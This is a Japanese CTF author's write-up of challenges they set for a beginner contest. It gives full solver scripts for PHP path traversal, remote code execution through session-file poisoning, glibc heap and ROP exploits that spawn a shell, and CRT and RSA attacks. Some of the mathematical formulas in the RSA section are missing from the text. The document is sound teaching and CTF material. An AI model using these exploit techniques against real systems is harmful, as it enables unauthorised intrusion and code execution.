こんなCTFがあったんで参加しようと思ったのですが、こんなツイートを見て作問お手伝いすることにしました。 作問に参加した時点では割と自明問が多く、某氏とか某氏に即全完されそうな感じだったので、私は若干難しめのものを作りました。 といっても初心者向けCTFかつ短期間なので、ある程度自明な問題のみを提供しました。
上位5チームはこんな感じです:
zer0ptsが上位2チームを専有してて嬉しい。 明石高専のCTFなのに、なんか部外者が勝手にぽこぽこ問題を生やしてmergeしていって申し訳なかったです。
- [Web 100] Admin Portal 1
- [Web 200] Admin Portal 2
- [Web 300] Admin Portal 3
- [Pwn 250] babynote
- [Pwn 300] ezstack
- [Pwn 400] blindnote
- [Crypto 200] modulo
- [Crypto 300] Circular RSA
[Web 100] Admin Portal 1
本当はSQLiで任意ユーザー名を作って、それを使ってAdmin Portal 3のRCEを引き起こす問題だったのですが、明らかに誰もWeb問を作ってなかったので小手先でフラグをばら撒いて問題数を増やしました。 Admin Portal 1は本当に簡単で、登録フォームがコメントアウトされているので開発者ツールなどでコメントを外してユーザー登録すると、ログインできます。 ログインしたらフラグが表示されます。
import requests import random import re url = "http://0.0.0.0:8001" data = {"username": "guest_{}".format(random.randrange(0, 1<<32)), "password": "guest"} r = requests.post("{}/register.php".format(url), data) r = requests.post("{}/login.php".format(url), data) print(re.findall("(NITAC\{.+\})", r.text))
[Web 200] Admin Portal 2
Admin Portal 3用のLFIですが、初心者向けに普通のLFI問も用意しました。
?lang=en.html
などとなっている部分を?lang=../../../../flag2.txt
などにすればフラグがincludeされて表示されます。
import requests import random import re url = "http://0.0.0.0:8001" data = {"username": "guest_{}".format(random.randrange(0, 1<<32)), "password": "guest"} r = requests.post("{}/register.php".format(url), data) r = requests.post("{}/login.php".format(url), data, allow_redirects=False) payload = {"lang": "../../../../flag2.txt"} r = requests.get("{}".format(url), params=payload, cookies=r.cookies) print(re.findall("(NITAC\{.+\})", r.text)[0])
[Web 300] Admin Portal 3
これが本題で、フラグの場所が分からないのでRCEをする必要があります。
ヒントで提示した環境のPHPはセッションを/tmp/sess_????
に保存します。
ソースコードを読むとログインしているかの条件としてセッションにユーザー名を入れています。
したがって、ユーザー名として <? system("ls -lha /"); ?>
のような文字列を使うとセッションファイルにこの文字列が書き込まれます。
それをLFIでincludeしてやると、PHPとして認識されるので任意コマンドが実行できます。
import requests import random import re url = "http://0.0.0.0:8001" data = {"username": '{}_<? system("/flag3.execute_me"); ?>'.format(random.randrange(0, 1<<32)), "password": "guest"} r = requests.post("{}/register.php".format(url), data) r = requests.post("{}/login.php".format(url), data, allow_redirects=False) payload = {"lang": "../../../../tmp/sess_{}".format(r.cookies['PHPSESSID'])} r = requests.get("{}".format(url), params=payload, cookies=r.cookies) print(re.findall("(NITAC\{.+\})", r.text)[0])
[Pwn 250] babynote
初心者向けpwnとして出題しました。
libcのアドレスが貰えて自明なヒープオーバーフローがあるので、fdを書き換えて__free_hook
に繋いでsystem("/bin/sh");
を呼べば終わりです。
from ptrlib import * def create(data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", data) return def show(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) return def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return libc = ELF("../distfiles/libc-2.27.so") #sock = Process("../distfiles/babynote") sock = Socket("babynote.ctf.jyoken.net", 80) sock.recvuntil(": ") libc_base = int(sock.recvline(), 16) - libc.symbol('_IO_2_1_stdin_') logger.info("libc = " + hex(libc_base)) # heap overflow create("0") create("1") create("2") create("/bin/sh") delete(2) # for tcache cnt delete(1) delete(0) payload = b'A' * 0x98 payload += p64(0xa1) payload += p64(libc_base + libc.symbol('__free_hook')) create(payload) # house of spirit # overwrite __free_hook create("dummy") create(p64(libc_base + libc.symbol('system'))) # get the shell! delete(3) sock.interactive()
この問題は5チームくらいは序盤で解けると想定していたのですが、なぜか解かれませんでした。
[Pwn 300] ezstack
初級〜中級者向けpwnとして出題しました。 ローカルバッファにpush、popして遊べるのですが、popのサイズとして負数を渡せます。 負数を渡すと
stack->sp -= size
でspが進むので、その次の
printf("[+] %s\n", &stack->stack[stack->sp]);
でバッファの範囲外を読めるため、libcやスタックのアドレスなどがリークできます。
しかし、pushでは
stack->sp += readline(&stack->stack[stack->sp], STACK_SIZE - stack->sp);
としており、readlineはサイズに負数が渡されると失敗して何も起きないためデータを書き込めません。
一見詰んでいるように見えるのですが、ここで更にpopを使います。
popするとspにある1バイトをNULLで終端に書き換えます。
したがって、popでsaved rbpに飛ばした後に再度popすると、saved rbpの下位1バイトを0x00に変更できます。
ezstack, mainともに、関数の終端はpop rbp; ret;
なので、これによりrspをバッファの周辺に飛ばすことができます。
バッファのどの辺りに飛ぶかはASLRにより分かりませんが、バッファは十分に大きいので、ret gadgetを大量に書き込んでおき、最後の方でROPしておけば高い確率でROP chainが実行されます。
from ptrlib import * def push(data): sock.sendlineafter("> ", "1") sock.sendafter("data: ", data) return def pop(size): sock.sendlineafter("> ", "2") sock.sendlineafter("size: ", str(size)) sock.recvuntil("[+] ") return sock.recvline() libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF("../distfiles/ezstack") #sock = Process("../distfiles/ezstack") sock = Socket("ezstack.ctf.jyoken.net", 80) rop_pop_rdi = 0x0002155f rop_ret = 0x000008aa # leak libc base libc_base = u64(pop(-0x130)) - libc.symbol("__libc_start_main") - 231 logger.info("libc base = " + hex(libc_base)) pop(0x130) # leak stack base and set the least byte to 0x00 stack_base = u64(pop(-0x108)) - 0x128 logger.info("stack base = " + hex(stack_base)) pop(0x108) # set rop chain payload = p64(libc_base + rop_ret) * (0x100 // 8 - 3) payload += p64(libc_base + rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) push(payload) # get the shell sock.sendlineafter("> ", "3") sock.interactive()
脆弱性が非自明なのでblindnoteより難しかったかも......?
[Pwn 400] blindnote
pwn強いチームの参加が観測されたので直前に追加した問題です。 中身としてはbabynoteからshowと最初のlibc baseくれる部分を削っただけです。 脆弱性も同じでヒープオーバーフローがあるので、stdoutとかからlibc leakしてtcache poisoningすれば終わりです。 300点くらいの難易度ですが、チャンクサイズ固定なのでヒープレイアウトに注意して最初に良い感じの順番でdeleteする必要があり、工夫点として100点おまけしました。(は?)
from ptrlib import * def create(data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", data) return def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return libc = ELF("../distfiles/libc-2.27.so") #sock = Process("../distfiles/blindnote") sock = Socket("blindnote.ctf.jyoken.net", 80) # prepare unsorted bin for i in range(8): create("AAAAAAAA") delete(7) delete(6) delete(5) delete(2) delete(3) delete(1) # --> points to chunk:3, which is nearby chunk:4 delete(0) delete(4) # unsorted bin! # libc leak payload = b'A' * 0x98 + p64(0xa1) payload += b'\xe0' create(payload) # 0 payload = b'A' * 0x98 + p64(0xa1) payload += b'A' * 0x98 + p64(0xa1) payload += b'A' * 0x98 + p64(0xa1) # overwrite chunk:4 from chunk:1 #payload += b'\x60\x07\xdd' payload += b'\x60\x77' create(payload) # 1 create("dummy") # 2 payload = p64(0xfbad1800) payload += p64(0) * 3 payload += b'\x08' create(payload) # 3 libc_base = u64(sock.recv(8)) - 0x3ed8b0 logger.info("libc = " + hex(libc_base)) assert libc_base < 0x0010000000000000 # house of spirit delete(1) delete(0) payload = b'A' * 0x98 + p64(0xa1) + p64(libc_base + libc.symbol('__free_hook')) create(payload) # 0 create("/bin/sh\0") # 1 create(p64(libc_base + libc.symbol('system'))) # get the shell! delete(1) sock.interactive()
[Crypto 200] modulo
これは明石高専の方が考えた問題ですが、時間が無くて実装できなかったらしいので代わりに作りました。 フラグを1〜123456の中の好きな整数で割った余りが貰えます。 フラグのサイズは高々256bitと分かっているので、大きい順に素数で割った余りを貰い、積が1<<256を超えた時点でCRTで解を導出すればOKです。
from ptrlib import * from Crypto.Util.number import isPrime th = 1 << 256 w = 1 pairs = [] for n in range(123455, 0, -1): if not isPrime(n): continue sock = Socket("0.0.0.0", 7001) sock.sendline(str(n)) sock.recvuntil(": ") pairs.append((int(sock.recvline()), n)) print(pairs[-1]) sock.close() w *= n if w > th: break f = chinese_remainder_theorem(pairs) print(int.to_bytes(f[0], length=256//8, byteorder='big'))
[Crypto 300] Circular RSA
楕円曲線出したかったけど良い感じの楕円曲線が生まれなかったので諦めてRSAにしました。 通常のRSAについて、
となるがセットで渡されます。
とりあえず を知っていると仮定して考えてみます。 すると、より
となり、
が分かります。ただ、今回貰っているのはです。
ここで、
なる整数が分かれば、が分かるのでを計算できます。 はすなわち
なのですが、はいずれも512ビットであることが分かっています。 つまり、がからの範囲を動くときのの範囲を考えれば良いわけです。 この関数は正の範囲で極大値を持たないのですが、今回の範囲で考えると極小値が2で、3以上になることは有り得ないことが分かります。
したがって、が特定できます。 すなわち、
よりが求まり、先の式からの値が定まります。 これを使ってRSAを解けばフラグが出てきます。
c = 54824639298391376755026467308714291359262294793036133791220357610709439063299375616586034773118457824984258016529054434262431425730126094459939617002704781437423764779537446372419486106534889681361292972850636399356061972348915381731466615819006733225844633317451355239574062603892227674028869485742057224659 n = 119373707746003398968050893961443417364394824723759068858955243068986546134208874687564785379251256013857566962539760673690977797086359460976673054638616431114121854656322391660470789496268580084150434875798956745806859500242537865804199576495969512866376003815094580443011485001231787505484680120104234427717 r2 = 6205365790736677585062437525900518460670717278435160523717212712674574509659597111232308409435132474822972013082967991312588722579430915764013021798285278613410604743669103483390010482991694580593568432124515154735240686197920497340416655992592761981630754076548585425594817318139602052031398283879489708176 r2 += n * 2 e = 0x10001 p_1 = (r2 - sqrt(r2^2 - 4*n^2)) / 2 p_2 = (r2 + sqrt(r2^2 - 4*n^2)) / 2 if p_1.is_square(): p = sqrt(p_1) elif p_2.is_square(): p = sqrt(p_2) else: print("`p` not found") q = n / p phi = (p - 1) * (q - 1) d = inverse_mod(e, phi) m = power_mod(c, d, n) print(m.hex().decode("hex"))